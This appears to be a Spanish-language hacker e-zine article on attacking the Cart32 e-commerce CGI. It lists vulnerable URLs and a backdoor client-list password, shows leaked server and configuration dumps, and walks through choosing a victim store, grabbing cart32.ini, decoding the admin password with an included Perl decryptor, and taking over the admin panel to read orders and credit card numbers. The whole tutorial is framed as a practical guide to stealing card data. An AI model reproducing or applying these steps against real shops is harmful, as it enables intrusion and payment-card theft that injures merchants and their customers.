============================================================================= --------------------------------------------------------------------------04- -----( Seguridad en Cart32 )-------------------------------------------RM-11] -----[ Yo_Soy ]------------------------------------[yo_soy@raza-mexicana.org] Introduccion ------------ Cart32 es un paquete de software para los sitios de compra en linea (tiendas virtuales o como quieras denominarlo), creado por la empresa McMurtrey / Whitaker & Associates, Inc., se basa en cookies para tener el carrito con nuestros pedidos y admite pagos como tarjeta de credito o cheque certificado. Seguridad en Cart32 ------------------- Cart32 tiene varias vulnerabilidades, y resulta especialmente atractivo para hackearlo pues se puede conseguir acceso a las 'orders' del sitio en cuestion y poder ver las tarjetas de credito y demas informacion que resulta de gran interes. Las vulnerabilidades son: [1] http://www.example.com/cgi-bin/cart32.exe/error [2] http://www.example.com/cgi-bin/cart32.exe/expdate [3] http://www.example.com/cgi-bin/cart32.exe/cart32clientlist [4] http://www.example.com/cgi-bin/c32web.exe/ShowAdminDir [5] http://www.example.com/cgi-bin/c32web.exe/CheckError?error=53 [6] http://www.example.com/cgi-bin/c32web.exe/ChangeAdminPassword [-] Descripcion: --- [1] --- Muestra informacion con variables de entorno. --- [2] --- Muestra una pantalla de error y en algunas versiones puede mostrar informacion del sistema. --- [3] --- Parece ser una backdoor en la aplicacion y colocando el respectivo password podemos ver la lista de clientes y su respectivo password (cifrado). --- [4] --- En algunas versiones muestra el directorio actual. --- [5] --- Similar a usar /expdate o /error --- [6] --- Un usuario puede cambiar el password del administrador sin el previo conocimiento del password anterior. La de tipo http://www.example.com/cgi-bin/cart32.exe/expdate algunas veces muestra tambien el listado del directorio donde se ejecutan los CGI (/cgi-bin o /scripts, etc), por ejemplo en sitio normal: www.unatienda.com/cgi-bin/cart32.exe/expdate Y obtenemos una salida como sigue: ---------------------------------- output ----------------------------------- Cart32 v2.6 Error CART32 Build 525 The following internal error has occurred: Type mismatch Error Number = 13 Click Here For Possible Solutions --------------------------------- Please note what you were doing when this problem occurred, so we can identify and correct it. Write down the Web page you were using, any data you may have entered into a form or search box, and anything else that may help us duplicate the problem. Then contact the administrator of this service: CGI Information CGI_ServerSoftware = Microsoft-IIS/4.0 CGI_ServerName = www.unatienda.com CGI_RequestMethod = GET CGI_Referer = CGI_RemoteHost = 148.XXX.XXX.73 CGI_RemoteAddr = 148.XXX.XXX.73 CGI_UserAgent = Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) CGI_ContentLength =0 CGI_ScriptName = /cgi-bin/cart32.exe CGI_ServerURL = CGI_GatewayInterface =CGI/1.1 CGI_ServerProtocol =HTTP/1.1 CGI_ServerPort = 80 CGI_ContentType = CGI_QueryString = CGI_PathInfo = /expdate CGI_Cookie = Environment TEMP DIR=C:\TEMP\ COMPUTERNAME=FLEET ComSpec=C:\WINNT\system32\cmd.exe CONTENT_LENGTH=0 GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */* HTTP_ACCEPT_LANGUAGE=es-mx HTTP_CONNECTION=Keep-Alive HTTP_HOST=www.unatienda.com HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) HTTP_ACCEPT_ENCODING=gzip, deflate HTTPS=off INCLUDE=C:\Program Files\Mts\Include INSTANCE_ID=1 LIB=C:\Program Files\Mts\Lib LOCAL_ADDR=XXX.XXX.XXX.XXX NUMBER_OF_PROCESSORS=1 Os2LibPath=C:\WINNT\system32\os2\dll; OS=Windows_NT Path=C:\WINNT\system32;C:\WINNT;C:\Program Files\Mts PATH_INFO=/expdate PATH_TRANSLATED=C:\Webroot\expdate PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.VBE;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 5 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0502 REMOTE_ADDR=148.233.101.73 REMOTE_HOST=148.233.101.73 REQUEST_METHOD=GET SCRIPT_NAME=/cgi-bin/cart32.exe SERVER_NAME=www.unatienda.com SERVER_PORT=80 SERVER_PORT_SECURE=0 SERVER_PROTOCOL=HTTP/1.1 SERVER_SOFTWARE=Microsoft-IIS/4.0 SystemDrive=C: SystemRoot=C:\WINNT USERPROFILE=C:\WINNT\Profiles\NetShowServices windir=C:\WINNT Form Variables None Dir Info Current Directory = C:\cgi-bin ARVA302-001000.c32 c32web.exe cart32.exe CPSHOST.DLL install.asp nsiislog.dll POSTINFO.ASP REPOST.ASP uninstall.asp UPLOAD.ASP UPLOADN.ASP UPLOADX.ASP Check cart32.dll Find cart32.dll in current directory(C:\scripts) = False Find cart32.dll in windows system (C:\WINNT\System32) = True Cart32 Setup Info and Directory Mail Server = mail.unatienda.com AdminDir = C:\Program Files\MWAInc\Cart32\ AddItem.html ARVA302-001000.c32 ARVA302-001001.c32 ARVA302-001002.c32 ARVA302-001003.c32 ARVA302-001004.c32 ARVA302-001005.c32 ARVA302-001006.c32 ARVA302-001007.c32 ARVA302-001008.c32 ARVA302-001009.c32 ARVA302-001010.c32 ARVA302-001011.c32 ARVA302-001012.c32 ARVA302-001013.c32 ARVA302-001014.c32 ARVA302-001015.c32 ARVA302-001016.c32 ARVA302-001017.c32 ARVA302-001018.c32 ARVA302-output.txt ASHTON107-001000.c32 ASHTON107-001001.c32 ASHTON107-001002.c32 ASHTON107-001003.c32 ASHTON107-001004.c32 ASHTON107-001005.c32 ASHTON107-001006.c32 ASHTON107-001007.c32 ASHTON107-001008.c32 ASHTON107-001009.c32 ASHTON107-001010.c32 ASHTON107-001011.c32 ASHTON107-001012.c32 ASHTON107-001013.c32 ASHTON107-001014.c32 ASHTON107-001015.c32 ASHTON107-001016.c32 ASHTON107-001017.c32 ASHTON107-001018.c32 ASHTON107-001019.c32 ASHTON107-001020.c32 ASHTON107-001021.c32 ASHTON107-001022.c32 ASHTON107-001023.c32 ASHTON107-001024.c32 ASHTON107-001025.c32 ASHTON107-001026.c32 ASHTON107-001027.c32 ASHTON107-001028.c32 ASHTON107-001029.c32 ASHTON107-001030.c32 ASHTON107-001031.c32 ASHTON107-001032.c32 ASHTON107-001033.c32 ASHTON107-001034.c32 ASHTON107-001035.c32 ASHTON107-001036.c32 ASHTON107-001037.c32 ASHTON107-001038.c32 ASHTON107-001039.c32 ASHTON107-001040.c32 ASHTON107-001041.c32 ASHTON107-001042.c32 ASHTON107-001043.c32 ASHTON107-001044.c32 ASHTON107-001045.c32 ASHTON107-001046.c32 ASHTON107-001047.c32 ASHTON107-001048.c32 ASHTON107-001049.c32 ASHTON107-001050.c32 ASHTON107-001051.c32 ASHTON107-001052.c32 ASHTON107-001053.c32 ASHTON107-001054.c32 ASHTON107-001055.c32 ASHTON107-001056.c32 ASHTON107-output.txt BLAT.EXE C32admin.exe C32Web.exe CARDIN.CGI CART.CDX CART.DBF Cart.exe CART.FPT CART32.CNT cart32.exe CART32.HLP cart32header.html CARVING101-001000.c32 CARVING101-001001.c32 CARVING101-001002.c32 CA_VARS.DBF CLIENT.CDX CLIENT.DBF CLIENT.FPT ClientEmail.txt COMCTL32.OCX ConfigurationHeader.html ConfirmOrder.html CUSTOMER.CDX CUSTOMER.DBF CustomerEmail.txt DAO350.DLL DeIsL1.isu DeleteItem.html DEMOCART-001000.c32 DEMOCART-output.txt EmptyCart.html FormTemplate1.c32 FormTemplate2.c32 HELP.CDX HELP.DBF HELP.FPT HTMLWizard.exe IncompleteOrder.html INTERNETKENT-001000.c32 INTERNETKENT-001001.c32 ItemList.html NoItems.html OLD-C32admin.exe old-c32web.exe old-Cart.exe old-cart32.exe ORDERS.CDX ORDERS.DBF ORDITEMS.CDX ORDITEMS.DBF PAYMENT.CDX PAYMENT.DBF PAYMENT.FPT PLUS.CDX PLUS.DBF PLUS.FPT REG.BAT ReviewOrder.html SAMPLRCART-001000.c32 SCREENART-001000.c32 SCREENART-001001.c32 SCREENART-001002.c32 SCREENART-001003.c32 SCREENART-001004.c32 SCREENART-001005.c32 SCREENART-001006.c32 SCREENART-001007.c32 SCREENART-001008.c32 SECURESCREENART-001000.c32 SECURESCREENART-001001.c32 SECURESCREENART-001002.c32 SECURESCREENART-001003.c32 SECURESCREENART-001004.c32 SECURESCREENART-001005.c32 SECURESCREENART-001006.c32 SECURESCREENART-001007.c32 SECURESCREENART-001008.c32 SECURESCREENART-001009.c32 SECURESCREENART-001010.c32 SECURESCREENART-001011.c32 SECURESCREENART-001012.c32 SECURESCREENART-001013.c32 SECURESCREENART-001014.c32 SECURESCREENART-001015.c32 SECURESCREENART-001016.c32 SendOrder.html SHIPPING.CDX SHIPPING.DBF SHIPTYPE.CDX SHIPTYPE.DBF SUNANDSKY201-001000.c32 SUNANDSKY201-001001.c32 SUNANDSKY201-001002.c32 SUNANDSKY201-001003.c32 SUNANDSKY201-001004.c32 SUNANDSKY201-001005.c32 TAX.CDX TAX.DBF tempfiles.list TEST-001000.c32 testfile.txt UpdateItem.html UPS.INI WATERBUG101-001000.c32 WATERBUG101-001001.c32 WATERBUG101-001002.c32 WATERBUG101-001003.c32 WATERBUG101-001004.c32 _DEISREG.ISR _ISREG32.DLL ---------------------------------- output ----------------------------------- Si se dan cuenta en la seccion donde dice Form Variables, Dir Info podemos ver los archivos que se encuentran en /cgi-bin ;). Pero Oh! que veo... que sera ese UPLOAD.ASP =P. En algunas ocaciones nos podemos encontrar con el archivo ORDERS.DBF (que es la base de datos de todas las ordenes que se colocan en el sitio), si lo bajamos podremos comprobar que el contenido que tiene es asi: ORDERDATE|ORDERTIME|CODE|ORDERNO|PAYMETHOD|CALLFORCC|EXPDATE|OTHER1..|TOTAL| Lo malo (o bueno, segun se vea) es que los numeros de tarjeta de credito se guardan de la siguiente manera: A90:95:,)&%=+B/69*+E/?%:;-?&%:12/01 Ejemplo practico ---------------- Despues de estudiar todo el proceso, yo creo que ya tenemos el conocimiento para jugar un poco con un sistema que tenga este software instalado. A continuacion voy a describir los pasos que segui para obtener algunas cc's (por favor no envieen correo pidiendo tarjetas porque sera en vano). Lo primero que hacemos es definir a la victima, puede ser una tienda de ropa, electronica, etc. Asi que comenzamos. Buscando un poco por la red, encontramos algunos sistemas 'disponibles' para llevar nuestra practica a cabo ;). Al servidor en cuestion le llamare 'www.servidor.com', pero igualmente puede ser aplicado a muchos servidores en Internet. Lo primero que hago es ver a donde se encuentra localizado el cgi vulnerable, en este caso se encuentra en el lugar comun: www.servidor.com/cgi-bin/cart32.exe Visitamos la url anterior y notamos que se trata de la version Cart32 v3.0 (segun me he dado cuenta, en versiones anteriores es mucho mas sencillo). En algunas instalaciones colocan el cart32.ini en el mismo directorio que reside el cgi ejecutable, por lo que intentamos: www.servidor.com/cgi-bin/cart32.ini Bien, ha funcionado y nos bajamos el archivo, que es mas o menos de la siguiente manera: ------------------------------ cart32.ini -------------------------------- [Debug] SERVER_SOFTWARE=Microsoft-IIS/4.0 SERVER_NAME=www.servidor.com REQUEST_METHOD=GET HTTP_REFERER= REMOTE_HOST=148.XXX.XXX.114 REMOTE_ADDR=148.XXX.XXX.114 HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 95) CONTENT_LENGTH=0 SCRIPT_NAME=/cgi-bin/cart32.exe SERVER_URL= GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 SERVER_PORT=80 CONTENT_TYPE= QUERY_STRING= PATH_INFO=/cart32.ini COOKIE= [Main] CompanyName=elegance DemoCode=I23956584 AdminDir=D:\Internet\internet_kunden\servidor\cgi-bin\cart32\ CurrentVersion=Cart32 v2.6 AdminPassword=@!B#=%(?>&%*+-D MailServer=mail.servidor.com DefaultEmail=sales@servidor.com HoursToHold=24 Log=0 LogFile=SERV-orders.txt LogFileLocation=C TempDirectory=C:\Cart32 CleanCartFrequency=100 SuppressErrorOutput=0 WebAdminBackground=http://www.servidor.com/temp/serv/back2.jpg PlusCode=236015 LogEmail=0 LogCyberCash=0 HideList=0 Requests=2836 NextCustCode=3100030 ------------------------------ cart32.ini -------------------------------- Buscamos la linea donde viene el password del administrador, y vemos: AdminPassword=@!B#=%(?>&%*+-D Perfecto, ahora ejecutamos el programa para decifrar el password, ya sea el c32pwd.exe o el c32pwd.pl todo depende de la plataforma en la cual nos encontremos, puedes encontrarlo en: www.raza-mexicana.org/software/cart32pwd.txt www.raza-mexicana.org/software/cart32pwd.exe Suponiendo que estamos en LiNUX: # ./c32pwd.pl Cart32.exe Password Unencrypter by Yo_Soy - Based on Xato Security Advisory XATO-112000-01.txt - Encrypted code ----> @!B#=%(?>&%*+-D Unencrypted code --> 352554 Bien, ahora sabemos el password del administrador, nos dirigimos pues, al sitio de administracion de cart32 : www.servidor.com/cgi-bin/c32web.exe Le damos click en "Configuration" y colocamos el password que acabamos de obtener: 352554 (en caso de una cadena de caracteres, puedes usar mayusculas o minusculas es igual), nos saldra un mensaje diciendonos que el password ha sido aceptado. Ahora ya estamos como administradores del carrito de compra y podremos ver las ordenes, los modos de pago, clientes, tarjetas de credito, archivos de log, configurar que cada vez que alguien compre algo envie los datos a nuestro e-mail etc. Tambien podremos ejecutar comandos cada vez que alguien realice una compra ;). En versiones > 3.0 desde la venta de administracion podemos acceder a los clientes, y en versiones < 3.0 tendremos que meter el password del cliente para poder acceder a estas opciones. Supongamos pues, que hemos accedido a un sito que tiene la version 2.6 (solo por poner un ejemplo) y que ademas de eso, no tiene el archivo cart32.ini en el directorio del cgi. Enviamos la url como sigue: www.servidor.com/cgi-bin/cart32.exe/cart32clientlist Aparecera una ventanita con un textbox, ahi deberemos poner el password "wemilo", por lo que nuestra url deberia quedar: www.servidor.com/cgi-bin/cart32.exe/cart32clientlist?Cart32Password=wemilo Ahora nos saldra la lista de clientes y el password, lo deciframos con c32pwd y ahora nos dirigimos una vez mas a: www.servidor.com/cgi-bin/c32web.exe Escogemos el nombre del cliente y metemos el password, y ya estaremos adentro. Creo que con esos ejemplos basta, algunas veces puede que no pase nada, que este parchado el sistema o que la version sea diferente, o que simplemente el archivo c32web.exe tenga otro nombre o se quede esperando, o que vengan toquen a tu puerta y te maten, o que te de un paro cardiaco antes de que acabes de leer este articulo, etc. XDDD Algunas veces el mismo archivo car32.ini contiene nombres y numeros de tarjeta, o a veces viene el password sin cifrar en la linea: ClientPasswordNotEncrypted= Otras veces viene el archivo de logs y con el navegador podremos ver todas las ordenes en un .txt sin necesidad de poner password ni nada asi: http://www.servidor.com/cgi-bin/cart32/CLIENTE-orders.txt Donde CLIENTE es el cliente que usa el Cart32. Eso ya te tocara a ti descubrirlo, y por favor, no mail jodiendo por tarjetas de credito o por que les decifre password, o para que yo vea los sitios que ustedes me pidan. [-] Programas: -------------- -------------------------------- c32pwd.pl --------------------------------- #!/usr/bin/perl # Cart32.exe Unencrypter by Yo_Soy # http://www.raza-mexicana.org - # print ("\nCart32.exe Password Unencrypter by Yo_Soy - \n"); print ("Based on Xato Security Advisory XATO-112000-01.txt - \n\n"); print ("Encrypted code ----> "); $cadena = ; chomp ($cadena); die ("WRONG CODE\n") if (length($cadena) < 13); $plano = chr(ord(substr($cadena, 7)) - 12) . chr(ord(substr($cadena, 4)) - 8) . chr(ord(substr($cadena, 2)) - 16) . chr(ord(substr($cadena, 14)) - 15) . chr(ord(substr($cadena, 8)) - 9) . chr(ord(substr($cadena, 0)) - 12) . chr(ord(substr($cadena, 3)) - 3) . chr(ord(substr($cadena, 10)) - 5) . chr(ord(substr($cadena, 12)) - 11) . chr(ord(substr($cadena, 5)) - 5) . chr(ord(substr($cadena, 1)) - 1) . chr(ord(substr($cadena, 1)) - 1) . chr(ord(substr($cadena, 13)) - 13) . chr(ord(substr($cadena, 11)) - 10) . chr(ord(substr($cadena, 9)) - 6) . chr(ord(substr($cadena, 6)) - 8); print ("Unencrypted code --> $plano\n"); -------------------------------- c32pwd.pl ---------------------------------